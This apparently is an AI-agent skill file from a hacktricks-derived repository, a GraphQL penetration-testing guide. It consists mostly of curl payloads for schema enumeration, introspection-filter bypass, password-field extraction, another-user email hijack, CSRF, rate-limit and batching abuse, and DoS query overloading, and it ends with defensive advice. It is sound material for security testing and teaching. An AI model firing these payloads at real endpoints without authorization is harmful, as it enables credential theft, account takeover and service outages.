Hacktricks-skills graphql-pentest

Security testing for GraphQL endpoints. Use this skill whenever you need to test GraphQL APIs for vulnerabilities, enumerate schemas, detect exposed endpoints, or assess security configurations. Trigger this skill for any GraphQL security assessment, penetration testing, or API security review involving GraphQL endpoints.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/network-services-pentesting/pentesting-web/graphql/SKILL.MD
source content

GraphQL Security Testing

A comprehensive skill for security testing GraphQL endpoints, from initial discovery through vulnerability assessment.

Quick Start

# Detect if a URL hosts GraphQL
curl -s -X POST -H "Content-Type: application/json" \
  -d '{"query": "{__typename}"}' https://target.com/graphql

# Expected response for GraphQL endpoint:
# {"data": {"__typename": "Query"}}

Workflow

1. Discovery and Fingerprinting

Find GraphQL endpoints by testing common paths:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Fingerprint the GraphQL engine using graphw00f:

pip install graphw00f
graphw00f https://target.com/graphql

This identifies the backend (Apollo, GraphQL-Java, async-graphql, etc.) which helps prioritize known vulnerabilities.

2. Introspection Enumeration

Check if introspection is enabled:

# Basic schema query
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{__schema{types{name}}}"}' https://target.com/graphql

# Full schema with fields and arguments
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name,kind}}}}}}}"}' https://target.com/graphql

Use the bundled script for automated introspection:

./scripts/graphql-introspect.sh https://target.com/graphql

Visualize the schema with GraphQL Voyager if introspection is enabled.

3. Test Error Handling

Check if errors leak sensitive information:

# Empty query
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{}"}' https://target.com/graphql

# Invalid field
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{thisdefinitelydoesnotexist}"}' https://target.com/graphql

Verbose errors can reveal schema details, field names, and internal logic.

4. Query Enumeration

Identify queryable objects from the schema. Look for

queryType
in introspection results.

Extract data by querying exposed fields:

# Query a simple object
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{flags{name,value}}"}' https://target.com/graphql

# Query with arguments (brute force IDs if needed)
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{user(uid:1){username,password}}"}' https://target.com/graphql

Search for empty string bypass - some APIs dump all data when searching with empty strings:

# If you can search by string field
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{theusers(description:""){username,password}}"}' https://target.com/graphql

5. Mutation Testing

Find mutations in the schema (look for

mutationType
in introspection).

Test mutation operations:

# Example: add a movie
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "mutation{addMovie(name:\"Test\",rating:\"5.0/10\",releaseYear:2024){name,rating}}"}' https://target.com/graphql

Test authorization bypass - try modifying other users' data:

# Attempt to update another user's profile
curl -X POST -H "Content-Type: application/json" \
  -d '{"operationName":"updateProfile","variables":{"username":"victim","data":{"email":"hacker@evil.com"}},"query":"mutation updateProfile($username:String!,$data:ProfileInput!){updateProfile(username:$username,data:$data){id}}"}' https://target.com/graphql

6. Bypass Introspection Defenses

If introspection is blocked, try these bypasses:

Add whitespace/newlines after

__schema
:

curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "query{__schema\n{queryType{name}}}"}' https://target.com/graphql

Try GET requests:

curl -s "https://target.com/graphql?query={__schema{types{name}}}"

Try form-urlencoded POST:

curl -X POST -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'query={__schema{types{name}}}' https://target.com/graphql

Use schema reconstruction tools:

  • Clairvoyance - Reconstructs schema from error messages
  • GraphQuail - Burp extension that builds schema from observed queries
  • InQL - Advanced GraphQL testing with schema bruteforcing

7. Test for Common Vulnerabilities

CSRF - Test if form-urlencoded POST is accepted without CSRF tokens:

# Create a CSRF test page
cat > csrf_test.html << 'EOF'
<form action="https://target.com/graphql" method="POST">
  <input type="hidden" name="query" value='{"mutation":"addMovie(name:\"Hacked\",rating:\"1/10\")"}'>
</form>
EOF

Rate limit bypass with aliases:

curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "query{check1:isValidDiscount(code:1){valid}check2:isValidDiscount(code:2){valid}check3:isValidDiscount(code:3){valid}}"}' https://target.com/graphql

Batching attacks - Send multiple queries in one request:

curl -X POST -H "Content-Type: application/json" \
  -d '[{"query":"{__typename}"},{"query":"{__typename}"},{"query":"{__typename}"}]' https://target.com/graphql

8. DoS Testing

Use the bundled script to generate DoS payloads:

./scripts/graphql-dos-payloads.sh

Alias overloading - Repeat fields with aliases:

# Generates 100+ aliases for the same field
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{a1:__typename a2:__typename a3:__typename ...}"}' https://target.com/graphql

Directive overloading - Repeat directives:

curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{__typename @include(if:true) @include(if:true) @include(if:true)}"}' https://target.com/graphql

Field duplication - Repeat the same field:

curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{__typename __typename __typename ...}"}' https://target.com/graphql

9. WebSocket Testing

Check for GraphQL over WebSocket which might bypass WAF:

// Test WebSocket connection
ws = new WebSocket("wss://target.com/graphql", "graphql-ws")
ws.onopen = function() {
  ws.send(JSON.stringify({
    type: "GQL.START",
    id: "1",
    payload: {
      query: "{__schema{types{name}}}"}
  }))
}

10. Check for Known CVEs

After fingerprinting, check for known vulnerabilities:

CVEAffectedTest
CVE-2024-47614async-graphql < 7.0.10Directive overload with
@include
CVE-2024-40094graphql-java < 19.11Recursive fragment bypass
CVE-2023-23684WPGraphQL ≤ 1.14.5SSRF via
createMediaItem
mutation

Tools

Essential tools for GraphQL testing:

ToolPurpose
graphw00fEngine fingerprinting
graphql-copMisconfiguration testing
InQLAdvanced testing, schema bruteforcing
GraphCrawlerSchema enumeration, auth testing
batchqlBatch query testing
clairvoyanceSchema reconstruction
GraphQLmapCLI client with attack automation

Defensive Recommendations

For developers securing GraphQL endpoints:

  1. Disable introspection in production
  2. Implement rate limiting per IP and per user
  3. Use CSRF tokens for all mutations
  4. Validate and sanitize all inputs
  5. Implement query depth/complexity limits
  6. Use graphql-armor middleware for automatic protection
  7. Enable proper authentication and authorization
  8. Log and monitor for unusual query patterns

References